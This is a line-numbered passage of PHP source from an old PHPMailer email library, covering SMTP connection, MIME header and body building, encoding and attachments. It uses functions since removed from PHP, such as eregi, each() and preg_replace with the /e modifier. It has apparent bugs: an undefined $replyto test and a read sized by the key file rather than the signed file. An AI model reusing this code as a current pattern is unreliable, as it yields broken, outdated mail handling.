1985 for($i = 0; $i < count($bad_rcpt); $i++) {
1986 if($i != 0) {
1987 $error .= ', ';
1988 }
1989 $error .= $bad_rcpt[$i];
1990
1991 }
1992 $error = $this->Lang('recipients_failed') . $error;
1993 $this->SetError($error);
1994 $this->smtp->Reset();
1995 return false;
1996 }
1997
1998 if(!$this->smtp->Data($header . $body)) {
1999 $this->SetError($this->Lang('data_not_accepted'));
2000 $this->smtp->Reset();
2001 return false;
2002 }
2003 if($this->SMTPKeepAlive == true) {
2004 $this->smtp->Reset();
2005 } else {
2006 $this->SmtpClose();
2007 }
2008
2009 return true;
2010 }
2011
2012 /**
2013 * Initiates a connection to an SMTP server. Returns false if the
2014 * operation failed.
2015 * @access private
2016 * @return bool
2017 */
2018 function SmtpConnect() {
2019 if($this->smtp == NULL) {
2020 $this->smtp = new SMTP();
2021 }
2022
2023 $this->smtp->do_debug = $this->SMTPDebug;
2024 $hosts = explode(';', $this->Host);
2025 $index = 0;
2026 $connection = ($this->smtp->Connected());
2027
2028 /* Retry while there is no connection */
2029 while($index < count($hosts) && $connection == false) {
2030 $hostinfo = array();
2031 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2032 $host = $hostinfo[1];
2033 $port = $hostinfo[2];
2034 } else {
2035 $host = $hosts[$index];
2036 $port = $this->Port;
2037 }
2038
2039 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2040 if ($this->Helo != '') {
2041 $this->smtp->Hello($this->Helo);
2042 } else {
2043 $this->smtp->Hello($this->ServerHostname());
2044 }
2045
2046 $connection = true;
2047 if($this->SMTPAuth) {
2048 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2049 $this->SetError($this->Lang('authenticate'));
2050 $this->smtp->Reset();
2051 $connection = false;
2052 }
2053 }
2054 }
2055 $index++;
2056 }
2057 if(!$connection) {
2058 $this->SetError($this->Lang('connect_host'));
2059 }
2060
2061 return $connection;
2062 }
2063
2064 /**
2065 * Closes the active SMTP session if one exists.
2066 * @return void
2067 */
2068 function SmtpClose() {
2069 if($this->smtp != NULL) {
2070 if($this->smtp->Connected()) {
2071 $this->smtp->Quit();
2072 $this->smtp->Close();
2073 }
2074 }
2075 }
2076
2077 /**
2078 * Sets the language for all class error messages. Returns false
2079 * if it cannot load the language file. The default language type
2080 * is English.
2081 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2082 * @param string $lang_path Path to the language file directory
2083 * @access public
2084 * @return bool
2085 */
2086 function SetLanguage($lang_type, $lang_path = 'language/') {
2087 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2088 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2089 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2090 include($lang_path.'phpmailer.lang-en.php');
2091 } else {
2092 $this->SetError('Could not load language file');
2093 return false;
2094 }
2095 $this->language = $PHPMAILER_LANG;
2096
2097 return true;
2098 }
2099
2100 /////////////////////////////////////////////////
2101 // METHODS, MESSAGE CREATION
2102 /////////////////////////////////////////////////
2103
2104 /**
2105 * Creates recipient headers.
2106 * @access private
2107 * @return string
2108 */
2109 function AddrAppend($type, $addr) {
2110 $addr_str = $type . ': ';
2111 $addr_str .= $this->AddrFormat($addr[0]);
2112 if(count($addr) > 1) {
2113 for($i = 1; $i < count($addr); $i++) {
2114 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2115 }
2116 }
2117 $addr_str .= $this->LE;
2118
2119 return $addr_str;
2120 }
2121
2122 /**
2123 * Formats an address correctly.
2124 * @access private
2125 * @return string
2126 */
2127 function AddrFormat($addr) {
2128 if(empty($addr[1])) {
2129 $formatted = $this->SecureHeader($addr[0]);
2130 } else {
2131 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2132 }
2133
2134 return $formatted;
2135 }
2136
2137 /**
2138 * Wraps message for use with mailers that do not
2139 * automatically perform wrapping and for quoted-printable.
2140 * Original written by philippe.
2141 * @access private
2142 * @return string
2143 */
2144 function WrapText($message, $length, $qp_mode = false) {
2145 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2146 // If utf-8 encoding is used, we will need to make sure we don't
2147 // split multibyte characters when we wrap
2148 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2149
2150 $message = $this->FixEOL($message);
2151 if (substr($message, -1) == $this->LE) {
2152 $message = substr($message, 0, -1);
2153 }
2154
2155 $line = explode($this->LE, $message);
2156 $message = '';
2157 for ($i=0 ;$i < count($line); $i++) {
2158 $line_part = explode(' ', $line[$i]);
2159 $buf = '';
2160 for ($e = 0; $e<count($line_part); $e++) {
2161 $word = $line_part[$e];
2162 if ($qp_mode and (strlen($word) > $length)) {
2163 $space_left = $length - strlen($buf) - 1;
2164 if ($e != 0) {
2165 if ($space_left > 20) {
2166 $len = $space_left;
2167 if ($is_utf8) {
2168 $len = $this->UTF8CharBoundary($word, $len);
2169 } elseif (substr($word, $len - 1, 1) == "=") {
2170 $len--;
2171 } elseif (substr($word, $len - 2, 1) == "=") {
2172 $len -= 2;
2173 }
2174 $part = substr($word, 0, $len);
2175 $word = substr($word, $len);
2176 $buf .= ' ' . $part;
2177 $message .= $buf . sprintf("=%s", $this->LE);
2178 } else {
2179 $message .= $buf . $soft_break;
2180 }
2181 $buf = '';
2182 }
2183 while (strlen($word) > 0) {
2184 $len = $length;
2185 if ($is_utf8) {
2186 $len = $this->UTF8CharBoundary($word, $len);
2187 } elseif (substr($word, $len - 1, 1) == "=") {
2188 $len--;
2189 } elseif (substr($word, $len - 2, 1) == "=") {
2190 $len -= 2;
2191 }
2192 $part = substr($word, 0, $len);
2193 $word = substr($word, $len);
2194
2195 if (strlen($word) > 0) {
2196 $message .= $part . sprintf("=%s", $this->LE);
2197 } else {
2198 $buf = $part;
2199 }
2200 }
2201 } else {
2202 $buf_o = $buf;
2203 $buf .= ($e == 0) ? $word : (' ' . $word);
2204
2205 if (strlen($buf) > $length and $buf_o != '') {
2206 $message .= $buf_o . $soft_break;
2207 $buf = $word;
2208 }
2209 }
2210 }
2211 $message .= $buf . $this->LE;
2212 }
2213
2214 return $message;
2215 }
2216
2217 /**
2218 * Finds last character boundary prior to maxLength in a utf-8
2219 * quoted (printable) encoded string.
2220 * Original written by Colin Brown.
2221 * @access private
2222 * @param string $encodedText utf-8 QP text
2223 * @param int $maxLength find last character boundary prior to this length
2224 * @return int
2225 */
2226 function UTF8CharBoundary($encodedText, $maxLength) {
2227 $foundSplitPos = false;
2228 $lookBack = 3;
2229 while (!$foundSplitPos) {
2230 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2231 $encodedCharPos = strpos($lastChunk, "=");
2232 if ($encodedCharPos !== false) {
2233 // Found start of encoded character byte within $lookBack block.
2234 // Check the encoded byte value (the 2 chars after the '=')
2235 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2236 $dec = hexdec($hex);
2237 if ($dec < 128) { // Single byte character.
2238 // If the encoded char was found at pos 0, it will fit
2239 // otherwise reduce maxLength to start of the encoded char
2240 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2241 $maxLength - ($lookBack - $encodedCharPos);
2242 $foundSplitPos = true;
2243 } elseif ($dec >= 192) { // First byte of a multi byte character
2244 // Reduce maxLength to split at start of character
2245 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2246 $foundSplitPos = true;
2247 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2248 $lookBack += 3;
2249 }
2250 } else {
2251 // No encoded character found
2252 $foundSplitPos = true;
2253 }
2254 }
2255 return $maxLength;
2256 }
2257
2258 /**
2259 * Set the body wrapping.
2260 * @access private
2261 * @return void
2262 */
2263 function SetWordWrap() {
2264 if($this->WordWrap < 1) {
2265 return;
2266 }
2267
2268 switch($this->message_type) {
2269 case 'alt':
2270 /* fall through */
2271 case 'alt_attachments':
2272 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2273 break;
2274 default:
2275 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2276 break;
2277 }
2278 }
2279
2280 /**
2281 * Assembles message header.
2282 * @access private
2283 * @return string
2284 */
2285 function CreateHeader() {
2286 $result = '';
2287
2288 /* Set the boundaries */
2289 $uniq_id = md5(uniqid(time()));
2290 $this->boundary[1] = 'b1_' . $uniq_id;
2291 $this->boundary[2] = 'b2_' . $uniq_id;
2292
2293 $result .= $this->HeaderLine('Date', $this->RFCDate());
2294 if($this->Sender == '') {
2295 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2296 } else {
2297 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2298 }
2299
2300 /* To be created automatically by mail() */
2301 if($this->Mailer != 'mail') {
2302 if(count($this->to) > 0) {
2303 $result .= $this->AddrAppend('To', $this->to);
2304 } elseif (count($this->cc) == 0) {
2305 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2306 }
2307 if(count($this->cc) > 0) {
2308 $result .= $this->AddrAppend('Cc', $this->cc);
2309 }
2310 }
2311
2312 $from = array();
2313 $from[0][0] = trim($this->From);
2314 $from[0][1] = $this->FromName;
2315 $result .= $this->AddrAppend('From', $from);
2316
2317 /* sendmail and mail() extract Cc from the header before sending */
2318 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2319 $result .= $this->AddrAppend('Cc', $this->cc);
2320 }
2321
2322 /* sendmail and mail() extract Bcc from the header before sending */
2323 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2324 $result .= $this->AddrAppend('Bcc', $this->bcc);
2325 }
2326 if($replyto != "")
2327 {
2328 if(count($this->ReplyTo) > 0) {
2329 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2330 }
2331 }
2332 /* mail() sets the subject itself */
2333 if($this->Mailer != 'mail') {
2334 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2335 }
2336
2337 if($this->MessageID != '') {
2338 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2339 } else {
2340 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2341 }
2342 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2343 if($this->ConfirmReadingTo != '') {
2344 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2345 }
2346
2347 // Add custom headers
2348 for($index = 0; $index < count($this->CustomHeader); $index++) {
2349 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2350 }
2351 if (!$this->sign_key_file) {
2352 $result .= $this->HeaderLine('MIME-Version', '1.0');
2353 $result .= $this->GetMailMIME();
2354 }
2355
2356 return $result;
2357 }
2358
2359 /**
2360 * Returns the message MIME.
2361 * @access private
2362 * @return string
2363 */
2364 function GetMailMIME() {
2365 $result = '';
2366 switch($this->message_type) {
2367 case 'plain':
2368 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2369 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2370 break;
2371 case 'attachments':
2372 /* fall through */
2373 case 'alt_attachments':
2374 if($this->InlineImageExists()){
2375 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2376 } else {
2377 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2378 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2379 }
2380 break;
2381 case 'alt':
2382 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2383 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2384 break;
2385 }
2386
2387 if($this->Mailer != 'mail') {
2388 $result .= $this->LE.$this->LE;
2389 }
2390
2391 return $result;
2392 }
2393
2394 /**
2395 * Assembles the message body. Returns an empty string on failure.
2396 * @access private
2397 * @return string
2398 */
2399 function CreateBody() {
2400 $result = '';
2401 if ($this->sign_key_file) {
2402 $result .= $this->GetMailMIME();
2403 }
2404
2405 $this->SetWordWrap();
2406
2407 switch($this->message_type) {
2408 case 'alt':
2409 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2410 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2411 $result .= $this->LE.$this->LE;
2412 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2413 $result .= $this->EncodeString($this->Body, $this->Encoding);
2414 $result .= $this->LE.$this->LE;
2415 $result .= $this->EndBoundary($this->boundary[1]);
2416 break;
2417 case 'plain':
2418 $result .= $this->EncodeString($this->Body, $this->Encoding);
2419 break;
2420 case 'attachments':
2421 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2422 $result .= $this->EncodeString($this->Body, $this->Encoding);
2423 $result .= $this->LE;
2424 $result .= $this->AttachAll();
2425 break;
2426 case 'alt_attachments':
2427 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2428 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2429 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2430 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2431 $result .= $this->LE.$this->LE;
2432 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2433 $result .= $this->EncodeString($this->Body, $this->Encoding);
2434 $result .= $this->LE.$this->LE;
2435 $result .= $this->EndBoundary($this->boundary[2]);
2436 $result .= $this->AttachAll();
2437 break;
2438 }
2439
2440 if($this->IsError()) {
2441 $result = '';
2442 } else if ($this->sign_key_file) {
2443 $file = tempnam("", "mail");
2444 $fp = fopen($file, "w");
2445 fwrite($fp, $result);
2446 fclose($fp);
2447 $signed = tempnam("", "signed");
2448
2449 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2450 $fp = fopen($signed, "r");
2451 $result = fread($fp, filesize($this->sign_key_file));
2452 fclose($fp);
2453 } else {
2454 $this->SetError($this->Lang("signing").openssl_error_string());
2455 $result = '';
2456 }
2457
2458 unlink($file);
2459 unlink($signed);
2460 }
2461
2462 return $result;
2463 }
2464
2465 /**
2466 * Returns the start of a message boundary.
2467 * @access private
2468 */
2469 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2470 $result = '';
2471 if($charSet == '') {
2472 $charSet = $this->CharSet;
2473 }
2474 if($contentType == '') {
2475 $contentType = $this->ContentType;
2476 }
2477 if($encoding == '') {
2478 $encoding = $this->Encoding;
2479 }
2480 $result .= $this->TextLine('--' . $boundary);
2481 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2482 $result .= $this->LE;
2483 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2484 $result .= $this->LE;
2485
2486 return $result;
2487 }
2488
2489 /**
2490 * Returns the end of a message boundary.
2491 * @access private
2492 */
2493 function EndBoundary($boundary) {
2494 return $this->LE . '--' . $boundary . '--' . $this->LE;
2495 }
2496
2497 /**
2498 * Sets the message type.
2499 * @access private
2500 * @return void
2501 */
2502 function SetMessageType() {
2503 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2504 $this->message_type = 'plain';
2505 } else {
2506 if(count($this->attachment) > 0) {
2507 $this->message_type = 'attachments';
2508 }
2509 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2510 $this->message_type = 'alt';
2511 }
2512 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2513 $this->message_type = 'alt_attachments';
2514 }
2515 }
2516 }
2517
2518 /* Returns a formatted header line.
2519 * @access private
2520 * @return string
2521 */
2522 function HeaderLine($name, $value) {
2523 return $name . ': ' . $value . $this->LE;
2524 }
2525
2526 /**
2527 * Returns a formatted mail line.
2528 * @access private
2529 * @return string
2530 */
2531 function TextLine($value) {
2532 return $value . $this->LE;
2533 }
2534
2535 /////////////////////////////////////////////////
2536 // CLASS METHODS, ATTACHMENTS
2537 /////////////////////////////////////////////////
2538
2539 /**
2540 * Adds an attachment from a path on the filesystem.
2541 * Returns false if the file could not be found
2542 * or accessed.
2543 * @param string $path Path to the attachment.
2544 * @param string $name Overrides the attachment name.
2545 * @param string $encoding File encoding (see $Encoding).
2546 * @param string $type File extension (MIME) type.
2547 * @return bool
2548 */
2549 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2550 if(!@is_file($path)) {
2551 $this->SetError($this->Lang('file_access') . $path);
2552 return false;
2553 }
2554
2555 $filename = basename($path);
2556 if($name == '') {
2557 $name = $filename;
2558 }
2559
2560 $cur = count($this->attachment);
2561 $this->attachment[$cur][0] = $path;
2562 $this->attachment[$cur][1] = $filename;
2563 $this->attachment[$cur][2] = $name;
2564 $this->attachment[$cur][3] = $encoding;
2565 $this->attachment[$cur][4] = $type;
2566 $this->attachment[$cur][5] = false; // isStringAttachment
2567 $this->attachment[$cur][6] = 'attachment';
2568 $this->attachment[$cur][7] = 0;
2569
2570 return true;
2571 }
2572
2573 /**
2574 * Attaches all fs, string, and binary attachments to the message.
2575 * Returns an empty string on failure.
2576 * @access private
2577 * @return string
2578 */
2579 function AttachAll() {
2580 /* Return text of body */
2581 $mime = array();
2582
2583 /* Add all attachments */
2584 for($i = 0; $i < count($this->attachment); $i++) {
2585 /* Check for string attachment */
2586 $bString = $this->attachment[$i][5];
2587 if ($bString) {
2588 $string = $this->attachment[$i][0];
2589 } else {
2590 $path = $this->attachment[$i][0];
2591 }
2592
2593 $filename = $this->attachment[$i][1];
2594 $name = $this->attachment[$i][2];
2595 $encoding = $this->attachment[$i][3];
2596 $type = $this->attachment[$i][4];
2597 $disposition = $this->attachment[$i][6];
2598 $cid = $this->attachment[$i][7];
2599
2600 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2601 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2602 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2603
2604 if($disposition == 'inline') {
2605 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2606 }
2607
2608 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2609
2610 /* Encode as string attachment */
2611 if($bString) {
2612 $mime[] = $this->EncodeString($string, $encoding);
2613 if($this->IsError()) {
2614 return '';
2615 }
2616 $mime[] = $this->LE.$this->LE;
2617 } else {
2618 $mime[] = $this->EncodeFile($path, $encoding);
2619 if($this->IsError()) {
2620 return '';
2621 }
2622 $mime[] = $this->LE.$this->LE;
2623 }
2624 }
2625
2626 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2627
2628 return join('', $mime);
2629 }
2630
2631 /**
2632 * Encodes attachment in requested format. Returns an
2633 * empty string on failure.
2634 * @access private
2635 * @return string
2636 */
2637 function EncodeFile ($path, $encoding = 'base64') {
2638 if(!@$fd = fopen($path, 'rb')) {
2639 $this->SetError($this->Lang('file_open') . $path);
2640 return '';
2641 }
2642 $magic_quotes = get_magic_quotes_runtime();
2643 set_magic_quotes_runtime(0);
2644 $file_buffer = fread($fd, filesize($path));
2645 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2646 fclose($fd);
2647 set_magic_quotes_runtime($magic_quotes);
2648
2649 return $file_buffer;
2650 }
2651
2652 /**
2653 * Encodes string to requested format. Returns an
2654 * empty string on failure.
2655 * @access private
2656 * @return string
2657 */
2658 function EncodeString ($str, $encoding = 'base64') {
2659 $encoded = '';
2660 switch(strtolower($encoding)) {
2661 case 'base64':
2662 /* chunk_split is found in PHP >= 3.0.6 */
2663 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2664 break;
2665 case '7bit':
2666 case '8bit':
2667 $encoded = $this->FixEOL($str);
2668 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2669 $encoded .= $this->LE;
2670 break;
2671 case 'binary':
2672 $encoded = $str;
2673 break;
2674 case 'quoted-printable':
2675 $encoded = $this->EncodeQP($str);
2676 break;
2677 default:
2678 $this->SetError($this->Lang('encoding') . $encoding);
2679 break;
2680 }
2681 return $encoded;
2682 }
2683
2684 /**
2685 * Encode a header string to best of Q, B, quoted or none.
2686 * @access private
2687 * @return string
2688 */
2689 function EncodeHeader ($str, $position = 'text') {
2690 $x = 0;
2691
2692 switch (strtolower($position)) {
2693 case 'phrase':
2694 if (!preg_match('/[\200-\377]/', $str)) {
2695 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2696 $encoded = addcslashes($str, "\0..\37\177\\\"");
2697 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2698 return ($encoded);
2699 } else {
2700 return ("\"$encoded\"");
2701 }
2702 }
2703 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2704 break;
2705 case 'comment':
2706 $x = preg_match_all('/[()"]/', $str, $matches);
2707 /* Fall-through */
2708 case 'text':
2709 default:
2710 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2711 break;
2712 }
2713
2714 if ($x == 0) {
2715 return ($str);
2716 }
2717
2718 $maxlen = 75 - 7 - strlen($this->CharSet);
2719 /* Try to select the encoding which should produce the shortest output */
2720 if (strlen($str)/3 < $x) {
2721 $encoding = 'B';
2722 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2723 // Use a custom function which correctly encodes and wraps long
2724 // multibyte strings without breaking lines within a character
2725 $encoded = $this->Base64EncodeWrapMB($str);
2726 } else {
2727 $encoded = base64_encode($str);
2728 $maxlen -= $maxlen % 4;
2729 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2730 }
2731 } else {
2732 $encoding = 'Q';
2733 $encoded = $this->EncodeQ($str, $position);
2734 $encoded = $this->WrapText($encoded, $maxlen, true);
2735 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2736 }
2737
2738 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2739 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2740
2741 return $encoded;
2742 }
2743
2744 /**
2745 * Checks if a string contains multibyte characters.
2746 * @access private
2747 * @param string $str multi-byte text to wrap encode
2748 * @return bool
2749 */
2750 function HasMultiBytes($str) {
2751 if (function_exists('mb_strlen')) {
2752 return (strlen($str) > mb_strlen($str, $this->CharSet));
2753 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2754 return False;
2755 }
2756 }
2757
2758 /**
2759 * Correctly encodes and wraps long multibyte strings for mail headers
2760 * without breaking lines within a character.
2761 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2762 * @access private
2763 * @param string $str multi-byte text to wrap encode
2764 * @return string
2765 */
2766 function Base64EncodeWrapMB($str) {
2767 $start = "=?".$this->CharSet."?B?";
2768 $end = "?=";
2769 $encoded = "";
2770
2771 $mb_length = mb_strlen($str, $this->CharSet);
2772 // Each line must have length <= 75, including $start and $end
2773 $length = 75 - strlen($start) - strlen($end);
2774 // Average multi-byte ratio
2775 $ratio = $mb_length / strlen($str);
2776 // Base64 has a 4:3 ratio
2777 $offset = $avgLength = floor($length * $ratio * .75);
2778
2779 for ($i = 0; $i < $mb_length; $i += $offset) {
2780 $lookBack = 0;
2781
2782 do {
2783 $offset = $avgLength - $lookBack;
2784 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2785 $chunk = base64_encode($chunk);
2786 $lookBack++;
2787 }
2788 while (strlen($chunk) > $length);
2789
2790 $encoded .= $chunk . $this->LE;
2791 }
2792
2793 // Chomp the last linefeed
2794 $encoded = substr($encoded, 0, -strlen($this->LE));
2795 return $encoded;
2796 }
2797
2798 /**
2799 * Encode string to quoted-printable.
2800 * @access private
2801 * @return string
2802 */
2803 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2804 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2805 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2806 $eol = "\r\n";
2807 $escape = '=';
2808 $output = '';
2809 while( list(, $line) = each($lines) ) {
2810 $linlen = strlen($line);
2811 $newline = '';
2812 for($i = 0; $i < $linlen; $i++) {
2813 $c = substr( $line, $i, 1 );
2814 $dec = ord( $c );
2815 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2816 $c = '=2E';
2817 }
2818 if ( $dec == 32 ) {
2819 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2820 $c = '=20';
2821 } else if ( $space_conv ) {
2822 $c = '=20';
2823 }
2824 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2825 $h2 = floor($dec/16);
2826 $h1 = floor($dec%16);
2827 $c = $escape.$hex[$h2].$hex[$h1];
2828 }
2829 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2830 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2831 $newline = '';
2832 // check if newline first character will be point or not
2833 if ( $dec == 46 ) {
2834 $c = '=2E';
2835 }
2836 }
2837 $newline .= $c;
2838 } // end of for
2839 $output .= $newline.$eol;
2840 } // end of while
2841 return trim($output);
2842 }
2843
2844 /**
2845 * Encode string to q encoding.
2846 * @access private
2847 * @return string
2848 */
2849 function EncodeQ ($str, $position = 'text') {
2850 /* There should not be any EOL in the string */
2851 $encoded = preg_replace("[\r\n]", '', $str);
2852
2853 switch (strtolower($position)) {
2854 case 'phrase':
2855 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2856 break;
2857 case 'comment':
2858 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2859 case 'text':
2860 default:
2861 /* Replace every high ascii, control =, ? and _ characters */
2862 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2863 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2864 break;
2865 }
2866
2867 /* Replace every spaces to _ (more readable than =20) */
2868 $encoded = str_replace(' ', '_', $encoded);
2869
2870 return $encoded;
2871 }
2872
2873 /**
2874 * Adds a string or binary attachment (non-filesystem) to the list.
2875 * This method can be used to attach ascii or binary data,
2876 * such as a BLOB record from a database.
2877 * @param string $string String attachment data.
2878 * @param string $filename Name of the attachment.
2879 * @param string $encoding File encoding (see $Encoding).
2880 * @param string $type File extension (MIME) type.
2881 * @return void
2882 */
2883 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2884 /* Append to $attachment array */
2885 $cur = count($this->attachment);
2886 $this->attachment[$cur][0] = $string;
2887 $this->attachment[$cur][1] = $filename;
2888 $this->attachment[$cur][2] = $filename;
2889 $this->attachment[$cur][3] = $encoding;
2890 $this->attachment[$cur][4] = $type;
2891 $this->attachment[$cur][5] = true; // isString
2892 $this->attachment[$cur][6] = 'attachment';
2893 $this->attachment[$cur][7] = 0;
2894 }
2895
2896 /**
2897 * Adds an embedded attachment. This can include images, sounds, and
2898 * just about any other document. Make sure to set the $type to an
2899 * image type. For JPEG images use "image/jpeg" and for GIF images
2900 * use "image/gif".
2901 * @param string $path Path to the attachment.
2902 * @param string $cid Content ID of the attachment. Use this to identify
2903 * the Id for accessing the image in an HTML form.
2904 * @param string $name Overrides the attachment name.
2905 * @param string $encoding File encoding (see $Encoding).
2906 * @param string $type File extension (MIME) type.
2907 * @return bool
2908 */
2909 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2910
2911 if(!@is_file($path)) {
2912 $this->SetError($this->Lang('file_access') . $path);
2913 return false;
2914 }
2915
2916 $filename = basename($path);
2917 if($name == '') {
2918 $name = $filename;
2919 }
2920
2921 /* Append to $attachment array */
2922 $cur = count($this->attachment);
2923 $this->attachment[$cur][0] = $path;
2924 $this->attachment[$cur][1] = $filename;
2925 $this->attachment[$cur][2] = $name;
2926 $this->attachment[$cur][3] = $encoding;
2927 $this->attachment[$cur][4] = $type;
2928 $this->attachment[$cur][5] = false;
2929 $this->attachment[$cur][6] = 'inline';
2930 $this->attachment[$cur][7] = $cid;
2931
2932 return true;
2933 }
2934
2935 /**
2936 * Returns true if an inline attachment is present.
2937 * @access private
2938 * @return bool
2939 */
2940 function InlineImageExists() {
2941 $result = false;
2942 for($i = 0; $i < count($this->attachment); $i++) {
2943 if($this->attachment[$i][6] == 'inline') {
2944 $result = true;
2945 break;
2946 }
2947 }
2948
2949 return $result;
2950 }
2951
2952 /////////////////////////////////////////////////
2953 // CLASS METHODS, MESSAGE RESET
2954 /////////////////////////////////////////////////
2955
2956 /**
2957 * Clears all recipients assigned in the TO array. Returns void.
2958 * @return void
2959 */
2960 function ClearAddresses() {
2961 $this->to = array();
2962 }
2963
2964 /**
2965 * Clears all recipients assigned in the CC array. Returns void.
2966 * @return void
2967 */
2968 function ClearCCs() {
2969 $this->cc = array();
2970 }
2971
2972 /**
2973 * Clears all recipients assigned in the BCC array. Returns void.
2974 * @return void
2975 */
2976 function ClearBCCs() {
2977 $this->bcc = array();
2978 }
2979
2980 /**
2981 * Clears all recipients assigned in the ReplyTo array. Returns void.
2982 * @return void
2983 */
